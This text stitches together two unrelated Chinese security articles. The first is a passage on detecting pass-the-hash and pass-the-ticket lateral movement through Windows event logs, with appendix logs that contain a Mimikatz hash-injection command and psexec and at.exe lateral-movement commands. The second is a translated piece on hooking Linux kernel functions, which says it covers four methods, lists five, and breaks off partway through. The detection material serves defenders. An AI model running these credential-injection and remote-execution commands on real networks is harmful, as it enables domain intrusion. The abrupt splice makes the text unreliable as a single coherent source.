2、这些法则能否有效应用，主要由已有的策略、活动目录结构以及网络隔离机制共同决定。我们需要制定策略，监控专用主机（如专用OU、管理员工作站）上账户的使用情况。我们手头上必须维护一份包含这类工作站的清单。如果这些账户和工作站所使用的策略非常明确，那么我们在检测横向渗透攻击时的效率也会越高，也能避免误报。网络隔离机制将有助于识别横向渗透攻击，特别是对于Kerberos而言，这种隔离机制更加有效，因为Kerberos并没有在相关日志事件中提供具体的主机名信息。
3、为了检测使用本地账户（如本地管理员）的横向渗透攻击，我们需要收集所有可能成为目标的工作站中的日志（4624/4625事件），在某些情况下这个任务很难完成。但这对域账户来说不成问题，因为主要的Windows事件都存储在域控上。微软引入了两个SID，通过设置GPO（Group
Policy Object，组策略对象）规则，可以限制本地管理员账户在横向渗透攻击中的使用。
在本文后半部分中，我们会向读者介绍使用PtH和PtT进行横向渗透攻击时所产生的日志事件，以及我们可以设定哪些规则来检测这些攻击。
**3.2 约定及假设**
在本文重点关注的横向渗透攻击场景中，攻击者使用了某个管理员账户（如ADMIN），从其他工作站（而不是ADMIN所属的ADMIN-WS工作站）开始横向渗透。所使用的规则可以稍微调整，以检测其他攻击场景（如使用服务账户或者其他特权账户进行攻击）。
在本文的案例中，我们有几个假设条件，如：
1、我们可以通过查询活动目录识别域管账户（命令为：net group “Domain Admins” /domain）；
2、ADMIN属于管理员组，熟悉环境的攻击者可以挑选其他合适的命名约定；
3、管理员工作站可以通过以下方式识别：
（1）通过工作站的主机名识别。比如通过域中维护的OU（Organizational Unit，组织单元）或主机列表，或者通过命名约定（如admin-ws-1、admin-ws-2等）加以识别。
（2）通过IP地址识别。比如这些工作站具有专用的(V)LAN地址，或这些工作站为跳转服务器，管理员在连接到其他系统前必须登录这些工作站。
4、ADMIN-WS为ADMIN所属的工作站或跳转服务器。
**3.3 检测NTLM横向渗透攻击（PtH）**
**3.3.1 日志中的相关事件**
使用NTLM凭证时，本地以及域控（如果使用的是域用户的话）上生成的所有日志条目如图2所示。详细的日志事件可参考6.1节内容。
图2. 与NTLM凭证有关的事件
被攻陷的工作站（infected-ws）中会生成4648事件：“试图使用显式凭据登录（A logon was attempted usingexplicit
credentials）”。
所生成的日志事件与攻击者的具体操作有关。在这种场景中，攻击者已经事先将NT哈希注入到目标主机中，之后通过“psexec.exe \Target
cmd.exe”命令，打开目标主机上的命令提示符。读者可以参考附录C查看更多细节。
被攻陷的工作站的日志对安全取证来说非常有用，但对主动检测PtH攻击来说用处不大。在这种场景中，我们可以从日志中得知横向渗透攻击的目标主机（clean-ws）。
域控上的日志中会生成两个4776事件：“域控试图验证某个用户凭证的有效性（The domain controller attempted to
validate the credentials for an account）”。
第一个4776事件与域控对目标主机（clean-ws$）的验证过程有关。这个事件对检测PtH来说用处不大。
第二个4776事件表明，域控正在验证某个账户（my-admin）的有效性，此时该账户正在访问目标工作站（clean-ws$）。这个事件可以用作检测横向渗透攻击是否存在的指示器，也是监控整个环境的关键要素。
目标主机（clean-ws）的日志中会记录4624事件：“成功登录帐户（An account was successfully logged on）”。
这个事件表明，目标账户（my-admin）已经成功登录到目标工作站（clean-ws）。这个事件也可以用来检测横向渗透攻击，但我们需要收集所有工作站上的所有特定日志。如果工作站或服务器的数量不多，这个事件还是能发挥作用的。
无论如何，该事件与登录失败事件（4625事件）对于安全取证来说非常有用，因为我们可以通过这些事件了解登录的类型（本例中为网络登录，Network
logon），以及攻击者从哪台主机（本例中为infected-ws）发起连接。
目标主机的日志中会记录4634/4647事件：“账户被注销/用户启动注销过程（An account was/initiated logged off）”。
这个事件表明攻击者的注销登录动作。对于安全取证来说，这个事件非常有用，安全人员可以结合登录ID值、4624事件以及这个事件，检测攻击行动的会话全流程。
**3.3.2 通用检测方法**
这部分的内容是介绍我们在检测NTLM型横向渗透攻击时，需要在各个主机中收集的事件，以及所需要关心的具体值。正如上文所述，我们需要重点关注域控（DC）上的4776事件，其他关键系统中的4624（登录成功）以及4625（登录失败）事件也值得关注。
注意：不要忽视工作站事件日志的重要性，特别是与敏感账户或者特权账户有关的那些事件日志。
**3.4 检测Kerberos横向渗透攻击（PtT）**
**3.4.1 日志中的相关事件**
在Kerberos认证过程中，本地主机以及域控（如果使用的是域用户的话）上生成的所有日志条目如图3所示，详细的事件信息可以参考6.2节内容。
与PtH攻击不同，PtT攻击场景中并没有生成4648事件。
域控的日志中会记录4768事件，即：Kerberos身份验证票证请求（A Kerberos authentication ticket (TGT) was
requested）事件。
图3. 与NTLM凭证使用有关的事件
攻击者向域控申请Kerberos
TGT票据时就会生成4768事件。在PtT攻击中，我们可能不会在日志中找到这个事件，因为攻击者在这之前已经窃取了TGT票据，不需要向Kerberos分发中心或者域控申请新的TGT票据，只需要利用已窃取的票据即可完成PtH攻击。
域控的日志中会记录4769事件，即：Kerberos 服务票证请求（A Kerberos service ticket was requested）事件。
攻击者请求访问目标系统或资源时（本例中为clean-ws$）会生成该事件。
这个事件可以用作检测横向渗透攻击是否存在的指示器，也是在整个环境中需要监控的主要事件。
目标主机（clean-ws）的日志中会记录4624事件，即：成功登录帐户（An account was successfully logged on）事件。
这个事件表明某个账户（my-admin）已成功登录到目标主机（clean-ws）。我们有可能利用这个事件主动检测横向渗透攻击，但前提是需要收集所有工作站上的相关日志。如果工作站或服务器的数量不多，这个事件也能够发挥作用。
无论如何，这个事件和登录失败（4625）事件对安全取证来说非常有用，因为它提供了具体的登录类型（本例中为网络登录）以及发起登录连接的来源主机（本例中为infected-ws）。
4634/4647事件的含义分别为：帐户被注销/用户启动注销过程。
这两个事件与攻击者的注销过程有关。安全取证工作中，可以利用这两个事件，结合4624事件中的登录ID值，检测攻击行动的会话全流程。
**3.4.2 通用检测方法**
这部分的内容是介绍我们在检测PtT型横向渗透攻击时，需要在各个主机中收集的事件，以及需要关心的具体值。
正如上文所述，我们需要重点关注域控（DC）上的4769以及4768事件。需要注意的是，这一次我们只能检查其中的IP地址信息，因为Kerberos事件中并没有提供具体的主机名。在启用DHCP的环境中，这个限制条件给我们带来了不小的挑战，如果DHCP租用时间较短，我们面临的将会是一个动态变化的网络环境。
关键系统中的4624事件以及4625（登录失败）事件也值得我们关注。
我们使用这种方法可能会检测出假阳性结果：
比如某个管理员（例如help desk）正在打开远程主机上的应用（例如，在远程访问中，通过cmd.exe运行”runas
administrator”命令），这种情况下有可能会生成4768事件。
**3.4.3 检测黄金票据（Golden Ticket）**
我们发表了一份白皮书，介绍了Kerberos黄金票据的相关知识，读者可以查阅参考资料了解更多细节。
**3.5 需要监控的主要账户**
本文中描述的监控规则主要是基于域管账户，我们也可以监控其他重要账户，以快速检测横向渗透攻击是否存在，这些账户包括：
1、服务账户（比如，备份账户）；
2、很少使用的账户；
3、应急使用的账户；
4、关键业务账户。
**3.6 需要注意的其他事件**
我们建议大家可以参考NSA发表的一份参考资料，其中介绍了检测潜在攻击时可能有用的其他一些事件。这个参考资料不单单针对横向渗透攻击，同时也覆盖了许多日志事件以及攻击类型。
**四、附录A-相关定义**
哈希传递攻击（Pass-the-hash，PtH）：PtH是一种黑客技术，攻击者可以利用该技术，使用事先窃取的用户密码的NTLM以及LM哈希，完成对远程服务器或者服务的身份验证，而常规的验证流程中需要输入明文密码。
票据传递攻击（Pass-the-ticket，PtT）：与PtH情况类似，但PtT使用的是Kerberos票据，而不是NT哈希。
凭证（Credential）：可以用来证实某人身份的标识以及相关密钥。根据此定义，凭证的类型不仅仅局限于明文密码，同样也包括Windows的NTLM哈希或者Kerberos票据（与实际使用的Windows认证协议有关）。在某些情况下，Windows会缓存凭证信息，以提供单点登录功能。这篇文章主要关注的是Kerberos票据凭证（Ticket-Granting-Tickets，TGT）。读者可以阅读参考资料[1]，了解与Windows凭证类型（表4）以及凭证缓存有关的更多细节信息。
TGT以及ST Kerberos票据：Ticket-Granting-Tickets（TGT）以及Service
Tickets（ST，服务票据）是Kerberos协议的一部分，读者可以阅读参考资料[2]，了解Kerberos以及相关的票据细节信息。
KDC：密钥分发中心（Key distribution Center）。
**五、附录B-参考资料**
[[1] 如何防御哈希传递攻击以及其他凭证窃取技术](http://www.%20microsoft.com/pth)
[[2] Kerberos认证技术细节](http://technet.microsoft.com/en-us/library/cc739058\(v=ws.10\).aspx)
[[3] 遭受攻击后如何恢复活动目录](http://technet.microsoft.com/en-us/library/bb727066.aspx#ECAA)
[[4] 凭证保护及管理](http://technet.microsoft.com/en-us/library/dn408190.aspx)
[[5]
Windows事件说明](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/Default.aspx)
[[6] Windows
7以及2008中的安全事件](http://www.microsoft.com/download/details.aspx?id=50034)
[[7] 如何发现攻击活动](https://www.iad.gov/iad/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm)
[[8]
如何防御Kerberos黄金票据攻击](http://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf)
**六、附录C-具体事件说明**
这部分内容主要是介绍Windows日志以及log2timeline日志中与PtH以及PtT攻击有关的具体事件，具体场景为：
1、被攻陷的工作站：USER-WS（IP地址为192.168.89.101）
2、目标用户：my-admin
3、目标主机：admin-ws（IP地址为192.168.89.102）
4、域名：corp.pass.thehash
**6.1 网络登录（Network Logon）以及PtH事件**
**6.1.1 域控中的相关事件**
Time: 06:32:56
Event: 4776
Event content:
- PackageName = MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
- TargetUserName = my-admin
- Workstation = USER-WS
- Status = 0x00000000
Command: `psexec.exe \admin-ws cmd.exe`
Comment: The domain controller attempted to validate the credentials for an account
Time: 06:33:37
Event: 4776
Event content:
- PackageName = MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
- TargetUserName = my-admin
- Workstation = USER-WS
- Status = 0x00000000
Command: robocopy.exe c:goodiessch \admin-wsc$
Comment: The domain controller attempted to validate the credentials for an account
Time: 06:34:16
Event: 4776
Event content:
- PackageName = MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
- TargetUserName = my-admin
- Workstation = USER-WS
- Status = 0x00000000
Command: at.exe \admin-ws 06:35 c:schedule.bat
Comment: The domain controller attempted to validate the credentials for an account
**6.1.2 来源主机中的相关事件（user-ws）**
Time: 06:32:44
Event: 4624
Event content:
- SubjectUserSid = S-1-5-18 SubjectUserName = USER-WS$
- SubjectDomainName = CORP
- SubjectLogonId = 0x00000000000003e7 TargetUserSid = S-1-5-18 TargetUserName = SYSTEM
TargetDomainName = NT AUTHORITY TargetLogonId = 0x00000000001046e9
- LogonType = 9
- LogonProcessName = seclogo
- AuthenticationPackageName = Negotiate
- WorkstationName = LogonGuid = {00000000-0000-0000-0000-000000000000}
- TransmittedServices = - LmPackageName = - KeyLength = 0 ProcessId = 0x00000000000003b4
- ProcessName = C:/Windows/System32/svchost.exe IpAddress = ::1 IpPort = 0
Command: sekurlsa::pth /user:my-admin /domain:corp /ntlm:[nt hash] /run:cmd.exe
Comment: Succesful logon, TargetLogonId = 0x00000000001046e9
Time: 06:32:44
Event: 4672
Event content:
- SubjectUserSid = S-1-5-18 SubjectUserName = SYSTEM SubjectDomainName = NT AUTHORITY
- SubjectLogonId = 0x00000000001046e9
- PrivilegeList = SeCreateTokenPrivilege SeAssignPrimaryTokenPrivilege SeTcbPrivilege
SeSecurityPrivilege SeTakeOwnershipPrivilege SeLoadDriverPrivilege SeBackupPrivilege
SeRestorePrivilege SeDebugPrivilege SeAuditPrivilege SeSystemEnvironmentPrivilege
SeImpersonatePrivilege
Comment: Special privileges assigned to new logon, as above. LogonId = 0x00000000001046e9
Time: 06:32:55
Event: 4648
Event content:
- SubjectUserSid = S-1-5-18 SubjectUserName = SYSTEM SubjectDomainName = NT AUTHORITY
- SubjectLogonId = 0x00000000001046e9 LogonGuid = {00000000-0000-0000-0000-000000000000}
- TargetUserName = -------- TargetDomainName = ---- TargetLogonGuid =
{00000000-0000-0000-0000-000000000000}
- TargetServerName = admin-ws.corp.pass.thehash TargetInfo = admin-ws.corp.pass.thehash
- ProcessId = 0x0000000000000004 ProcessName =
- IpAddress = - IpPort = - Command: psexec.exe \admin-ws cmd.exe
Comment: A logon was attempted using explicit credentials. This event is generated when a
process attempts to log on an account by explicitly specifying that accounts credentials.
This most commonly occurs in batch-type configurations such as scheduled tasks, or when
using the RUNAS command. SubjectLogonId = 0x00000000001046e9
Time: 06:32:55
Event: 4648
Event content:
- SubjectUserSid = S-1-5-18 SubjectUserName = SYSTEM SubjectDomainName = NT AUTHORITY
- SubjectLogonId = 0x00000000001046e9 LogonGuid = {00000000-0000-0000-0000-000000000000}
- TargetUserName = -------- TargetDomainName = ---- TargetLogonGuid =
{00000000-0000-0000-0000-000000000000}
- TargetServerName = admin-ws.corp.pass.thehash TargetInfo = admin-ws.corp.pass.thehash
ProcessId = 0x0000000000000998
- ProcessName = C:/goodies/PsExec.exe
- IpAddress = - IpPort = - Comment: LogonId = 0x00000000001046e9
Time: 06:33:35
Event: 4648
Event content:
- SubjectUserSid = S-1-5-18 SubjectUserName = SYSTEM SubjectDomainName = NT AUTHORITY
- SubjectLogonId = 0x00000000001046e9 LogonGuid = {00000000-0000-0000-0000-000000000000}
- TargetUserName = -------- TargetDomainName = ---- TargetLogonGuid =
{00000000-0000-0000-0000-000000000000}
- TargetServerName = admin-ws.corp.pass.thehash TargetInfo = admin-ws.corp.pass.thehash
- ProcessId = 0x0000000000000004 ProcessName =
- IpAddress = - IpPort = - Command: robocopy.exe c:goodiessch \admin-wsc$
Comment: A logon was attempted using explicit credentials. LogonId = 0x00000000001046e9
Time: 06:34:15
Event: 4648
Event content:
- SubjectUserSid = S-1-5-18 SubjectUserName = SYSTEM SubjectDomainName = NT AUTHORITY
- SubjectLogonId = 0x00000000001046e9 LogonGuid = {00000000-0000-0000-0000-000000000000}
- TargetUserName = -------- TargetDomainName = ---- TargetLogonGuid =
{00000000-0000-0000-0000-000000000000}
- TargetServerName = admin-ws.corp.pass.thehash TargetInfo = admin-ws.corp.pass.thehash
- ProcessId = 0x0000000000000004 ProcessName =
- IpAddress = - IpPort = - Command: at.exe \admin-ws 08:00 c:schedule.bat
Comment: A logon was attempted using explicit credentials.LogonId = 0x00000000001046e9
**6.1.3 目标主机中的相关事件（admin-ws）**
Time: 06:32:55
Event: 4672
Event content:
- SubjectUserSid = S-1-5-21-2976932740-3244455291-537790045-1105
- SubjectUserName = my-admin
- SubjectDomainName = CORP SubjectLogonId = 0x00000000000f133c PrivilegeList =
SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege
SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege
SeImpersonatePrivilege
Comment: Special privileges assigned to new logon.
Time: 06:32:55
Event: 4624
Event content:
- SubjectUserSid = S-1-0-0 SubjectUserName = - SubjectDomainName = - SubjectLogonId =
0x0000000000000000 TargetUserSid = S-1-5-21-2976932740-3244455291-537790045-1105
- TargetUserName = my-admin
- TargetDomainName = CORP
- TargetLogonId = 0x00000000000f133c
- LogonType = 3
- LogonProcessName = NtLmSsp
- AuthenticationPackageName = NTLM WorkstationName = USER-WS
- LogonGuid = {00000000-0000-0000-0000-000000000000} TransmittedServices = - LmPackageName =
NTLM V1 KeyLength = 128 ProcessId = 0x0000000000000000 ProcessName = - IpAddress =
192.168.89.101 IpPort = 49286
Command: psexec.exe \admin-ws cmd.exe
Comment: Succesful logon. TargetLogonId = 0x00000000000f133c
Time: 06:33:32
Event: 4634
Event content:
- TargetUserSid = S-1-5-21-2976932740-3244455291-537790045-1105
- TargetUserName = my-admin
- TargetDomainName = CORP
- TargetLogonId = 0x00000000000f133c
- LogonType = 3
Comment: TargetLogonId = 0x00000000000f133c
Time: 06:33:35
Event: 4672
Event content:
- SubjectUserSid = S-1-5-21-2976932740-3244455291-537790045-1105
- SubjectUserName = my-admin
- SubjectDomainName = CORP
- SubjectLogonId = 0x00000000000f2736
- PrivilegeList = SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege
SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege
SeLoadDriverPrivilege SeImpersonatePrivilege
Time: 06:33:35
Event: 4624
Event content:
- SubjectUserSid = S-1-0-0 SubjectUserName = - SubjectDomainName = - SubjectLogonId =
0x0000000000000000 TargetUserSid = S-1-5-21-2976932740-3244455291-537790045-1105
- TargetUserName = my-admin
- TargetDomainName = CORP
- TargetLogonId = 0x00000000000f2736
- LogonType = 3
- LogonProcessName = NtLmSsp
- AuthenticationPackageName = NTLM
- WorkstationName = USER-WS
- LogonGuid = {00000000-0000-0000-0000-000000000000} TransmittedServices = - LmPackageName =
NTLM V1 KeyLength = 128 ProcessId = 0x0000000000000000 ProcessName = - - IpAddress = 192.168.89.101 IpPort = 49298
Command: robocopy.exe c:goodiessch \admin-wsc$
Time: 06:34:02
Event: 4634
Event content:
- TargetUserSid = S-1-5-21-2976932740-3244455291-537790045-1105
- TargetUserName = my-admin
- TargetDomainName = CORP
- TargetLogonId = 0x00000000000f2736
- LogonType = 3
Time: 06:34:15
Event: 4672
Event content:
- SubjectUserSid = S-1-5-21-2976932740-3244455291-537790045-1105
- SubjectUserName = my-admin SubjectDomainName = CORP
- SubjectLogonId = 0x00000000000f309b
- PrivilegeList = SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege
SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege
SeLoadDriverPrivilege SeImpersonatePrivilege LogonId = 0x00000000000f309b
Time: 06:34:15
Event: 4624
Event content:
- SubjectUserSid = S-1-0-0 SubjectUserName = - SubjectDomainName = - SubjectLogonId =
0x0000000000000000 TargetUserSid = S-1-5-21-2976932740-3244455291-537790045-1105
- TargetUserName = my-admin
- TargetDomainName = CORP
- TargetLogonId = 0x00000000000f309b
- LogonType = 3
- LogonProcessName = NtLmSsp
- AuthenticationPackageName = NTLM
- WorkstationName = USER-WS
- LogonGuid = {00000000-0000-0000-0000-000000000000} TransmittedServices = - LmPackageName =
NTLM V1 KeyLength = 128 ProcessId = 0x0000000000000000 ProcessName = - - IpAddress = 192.168.89.101 IpPort = 49299
Command: at.exe \admin-ws 08:00 c:schedule.bat
Comment: LogonId = 0x00000000000f309b
Time: 06:34:26
Event: 4634
Event content:
- TargetUserSid = S-1-5-21-2976932740-3244455291-537790045-1105
- TargetUserName = my-admin
- TargetDomainName = CORP
- TargetLogonId = 0x00000000000f309b
- LogonType = 3
Comment: LogonId = 0x00000000000f309b
**6.2 Kerberos认证和PtT事件**
**6.2.1 域控中的相关事件**
我们可以在域控中看到4769事件：来自于user-ws主机的IP地址（192.168.86.101）请求了Kerberos服务票据，以便访问admin-ws主机。
需要注意的是，我们在域控中没有找到4768事件（Kerberos TGT请求事件），因为攻击者已经事先窃取了票据，然后重新注入该票据发起攻击。
Time: 14:11:12
Event: 4769
Event content:
- TargetUserName = myadmin@corp
- TargetDomainName = corp
- ServiceName = ADMIN-WS$
- ServiceSid = S-1-5-21-2976932740-3244455291-537790045-1107
- TicketOptions = 0x40810000
- TicketEncryptionType = 0x00000012
- IpAddress = ::ffff:192.168.89.101 IpPort = 49407
- Status = 0x00000000
- LogonGuid = {B757831E-D810-CDCC-C1C2-804BB3A2FB2C}
- TransmittedServices = - Command: net use \admin-ws
**6.2.2 目标主机（admin-ws）中的事件**
我们在目标主机中可以找到与账户成功登陆有关的两个事件（4624事件）。与域控上的情况类似，这些事件都与黄金票据攻击无关。
Time: 14:11:12
Event: 4624
Event content:
- SubjectUserSid = S-1-0-0 SubjectUserName = - SubjectDomainName = - SubjectLogonId =
0x0000000000000000
- TargetUserSid = S-1-5-21-2976932740-3244455291-537790045-500 TargetUserName = myadmin
TargetDomainName = corp
- TargetLogonId = 0x000000000051f916
- LogonType = 3 LogonProcessName = Kerberos AuthenticationPackageName = Kerberos
- WorkstationName =
- LogonGuid = {A0706C8D-9BC6-F4D5-1226-FA2A48BB58D9} TransmittedServices = - LmPackageName = - KeyLength = 0 ProcessId = 0x0000000000000000 ProcessName = - - IpAddress = 192.168.89.101 IpPort = 49406
Command: net use \admin-ws
Time: 14:11:12
Event: 4672
Event content:
- SubjectUserSid = S-1-5-21-2976932740-3244455291-537790045-500 SubjectUserName = myadmin
- SubjectDomainName =
- SubjectLogonId = 0x000000000051f916
- PrivilegeList = SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege
SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege
SeImpersonatePrivilege
Command: net use \admin-ws
Time: 14:11:39
Event: 4624
Event content:
- SubjectUserSid = S-1-0-0 SubjectUserName = - SubjectDomainName = - SubjectLogonId =
0x0000000000000000
- TargetUserSid = S-1-5-21-2976932740-3244455291-537790045-500 TargetUserName = myadmin
TargetDomainName = corp
- TargetLogonId = 0x00000000005204ad
- LogonType = 3 LogonProcessName = Kerberos AuthenticationPackageName = Kerberos
- WorkstationName =
- LogonGuid = {B504E2E8-3007-1C03-F480-011559C08D34} TransmittedServices = - LmPackageName = - KeyLength = 0 ProcessId = 0x0000000000000000 ProcessName = - - IpAddress = 192.168.89.101 IpPort = 49409
Command: psexec.exe \admin-ws cmd.exe
Time: 14:11:39
Event: 4672
Event content:
- SubjectUserSid = S-1-5-21-2976932740-3244455291-537790045-500 SubjectUserName = myadmin
SubjectDomainName =
- SubjectLogonId = 0x00000000005204ad
- PrivilegeList = SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege
SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege
SeImpersonatePrivilege
Command: psexec.exe \admin-ws cmd.exe
**6.3 附录D-Windows安全（Security）事件**
这部分主要介绍了本文中所提到的安全事件细节，参考了微软的官方定义[5][6]。
4624事件：成功登录帐户。
Subject:
Security ID: %1
Account Name: %2
Account Domain: %3
Logon ID: %4
Logon Type: %9
New Logon:
Security ID: %5
Account Name: %6
Account Domain: %7
Logon ID: %8
Logon GUID: %13
Process Information:
Process ID: %17
Process Name: %18
Network Information:
Workstation Name: %12
Source Network Address: %19
Source Port: %20
Detailed Authentication Information:
Logon Process: %10
Authentication Package: %11
Transited Services: %14
Package Name (NTLM only): %15
Key Length: %16
This event is generated when a logon session is created. It is generated on the computer that was accessed.
The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe
or Services.exe.
The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).
The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.
The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.
The authentication information fields provide detailed information about this specific logon request.
- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
- Transited services indicate which intermediate services have participated in this logon request.
- Package name indicates which sub-protocol was used among the NTLM protocols.
- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
4625事件：帐户登录失败。
Subject:
Security ID: %1
Account Name: %2
Account Domain: %3
Logon ID: %4
Logon Type: %11
Account For Which Logon Failed:
Security ID: %5
Account Name: %6
Account Domain: %7
Failure Information:
Failure Reason: %9
Status: %8
Sub Status: %10
Process Information:
Caller Process ID: %18
Caller Process Name: %19
Network Information:
Workstation Name: %14
Source Network Address: %20
Source Port: %21
Detailed Authentication Information:
Logon Process: %12
Authentication Package: %13
Transited Services: %15
Package Name (NTLM only): %16
Key Length: %17
This event is generated when a logon request fails. It is generated on the computer where access was attempted.
The Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe
or Services.exe.
The Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).
The Process Information fields indicate which account and process on the system requested the logon.
The Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.
The authentication information fields provide detailed information about this specific logon request.
- Transited services indicate which intermediate services have participated in this logon request.
- Package name indicates which sub-protocol was used among the NTLM protocols.
- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
4634事件：帐户被注销。
Subject:
Security ID: %1
Account Name: %2
Account Domain: %3
Logon ID: %4
Logon Type: %5
This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
Event ID: 4647
User initiated logoff.
Subject:
Security ID: %1
Account Name: %2
Account Domain: %3
Logon ID: %4
This event is generated when a logoff is initiated but the token reference count is not zero and the logon session cannot be destroyed. No further user-initiated activity can occur. This event can be interpreted as a logoff event.
4648事件：试图使用显式凭据登录。
Subject:
Security ID: %1
Account Name: %2
Account Domain: %3
Logon ID: %4
Logon GUID: %5
Account Whose Credentials Were Used:
Account Name: %6
Account Domain: %7
Logon GUID: %8
Target Server:
Target Server Name: %9
Additional Information: %10
Process Information:
Process ID: %11
Process Name: %12
Network Information:
Network Address: %13
Port: %14
This event is generated when a process attempts to log on an account by explicitly specifying that accounts credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
4672事件：分配给新的登录特权。
Subject:
Security ID: %1
Account Name: %2
Account Domain: %3
Logon ID: %4
Privileges: %5
4768事件：Kerberos 身份验证票证 (TGT) 请求。
Account Information:
Account Name: %1
Supplied Realm Name: %2
User ID: %3
Service Information:
Service Name: %4
Service ID: %5
Network Information:
Client Address: %10
Client Port: %11
Additional Information:
Ticket Options: %6
Result Code: %7
Ticket Encryption Type: %8
Pre-Authentication Type: %9
Certificate Information:
Certificate Issuer Name: %12
Certificate Serial Number: %13
Certificate Thumbprint: %14
Certificate information is only provided if a certificate was used for pre-authentication.
Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
4769事件：Kerberos 服务票证请求。
Account Information:
Account Name: %1
Account Domain: %2
Logon GUID: %10
Service Information:
Service Name: %3
Service ID: %4
Network Information:
Client Address: %7
Client Port: %8
Additional Information:
Ticket Options: %5
Ticket Encryption Type: %6
Failure Code: %9
Transited Services: %11
This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.
This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.
Ticket options, encryption types, and failure codes are defined in RFC 4120.
4776事件：域控试图验证帐户凭据
Authentication Package: %1
Logon Account: %2
Source Workstation: %3
Error Code: %4 | 社区文章 |
本文是[《Hooking Linux Kernel Functions, Part 1: Looking for the Perfect
Solution》](https://www.apriorit.com/dev-blog/544-hooking-linux-functions-1)的翻译文章。
# 前言
我们最近参与了一个Linux系统安全相关项目，需要hooking几个重要的Linux内核函数调用，例如打开文件和启动进程，并利用它来启用系统活动监控并抢先阻止可疑进程。
最后，我们发明了一种有效的方法，用于通过名称来hook内核中的任何函数，并在ftrace（Linux内核跟踪功能）的帮助下围绕其调用执行代码。
在这个由三部分组成的系列文章的第一部分中，描述了在提出新解决方案之前我们尝试hookLinux内核函数的四种方法。 并详细介绍了每种方法的主要优缺点。
# 四种可能的解决方法
可以尝试这几种方法来拦截关键的Linux内核函数：
* 使用Linux安全API
* 修改系统调用表
* 使用kprobes
* 拼接
* 使用ftrace处理程序、
下面，我们将详细讨论每个内核选项。
## 使用Linux安全API
起初，我们认为使用Linux安全API的hook函数是最佳选择，因为这个接口就是为此而设计的。
内核代码的关键点包含安全函数调用，这些调用可能导致安全模块安装的回调。该模块可以研究特定操作的上下文，并决定是允许还是禁止它。
不幸的是，Linux Security API有两个主要限制：
* 安全模块无法动态加载，因此我们需要重新编译内核，因为这些模块是其中的一部分。
* 除了个别例外，系统不能有多个安全模块。
虽然内核开发人员对系统是否可以包含多个安全模块有不同的看法，但是模块无法动态加载是可以肯定的事实。
为了确保系统从一开始就保持安全，安全模块必须是内核的一部分。
因此，为了使用Linux安全API，我们需要构建一个定制的Linux内核，并与AppArmor或SELinux集成额外的模块，后者在流行的发行版中使用。然而，这个选项并不适合我们的客户，因此我们得寻找另一个解决方案。
## 修改系统调用表
由于监控主要用于由用户应用程序执行的操作，所以我们可以在系统调用级别上实现它。 所有Linux系统调用处理程序都存储在sys_call_table表中。
更改此表中的值会导致更改系统的行为。 因此，我们可以通过保存旧的处理程序值并将自己的处理程序添加到表中来hook任何系统调用。
这种方法也有一些优点和缺点。 更改系统调用表中的值的主要优点如下：
* **完全控制所有系统调用** ，作为用户应用程序的唯一内核接口。 因此，你不会错过用户进程执行的任何重要操作。
* **轻微的性能开销** 。 在更新系统调用表时有一次性投资。 另外两个开销是不可避免的监视有效负载和我们需要调用原始系统调用处理程序的额外函数调用。
* **次要内核要求** 。 理论上，这种方法几乎可以用于任何系统，因为您不需要特定的内核功能来修改系统调用表。
不过，这种方法也有几个缺点：
**技术实施较复杂。** 虽然替换表中的值并不困难，但还有一些额外的任务需要某些条件和一些不明显的解决方案：
* 查找系统调用表
* 绕过表的内存区域的内核写保护
* 确保更换过程的安全性能
解决这些问题意味着开发人员必须浪费更多时间来实现，支持和理解该过程。
**有些处理程序无法替换。**
在4.16版本之前的Linux内核中，x86_64体系结构的系统调用处理有一些额外的优化。其中一些优化要求在汇编中实现系统调用处理程序。这些类型的处理程序很难或不可能被用c语言编写的定制处理程序所替代。此外，不同的内核版本使用不同的优化，这一事实进一步增加了任务的技术复杂性。
**只hook系统调用。** 由于此方法允许你替换系统调用处理程序，因此它极大地限制了入口点。
所有的附加检查都可以在系统调用之前或之后立即执行，我们只有系统调用参数及其返回值。 因此，有时我们可能需要仔细检查进程的访问权限和系统调用参数的有效性。
此外，在某些情况下，需要复制两次用户进程内存会产生额外的开销费用。
例如，当参数通过指针传递时，会有两个副本：一个是你自己创建的副本，另一个是由原始处理程序创建的。
有时，系统调用还提供低粒度的事件，因此还可能需要应用其他过滤器来消除噪音。
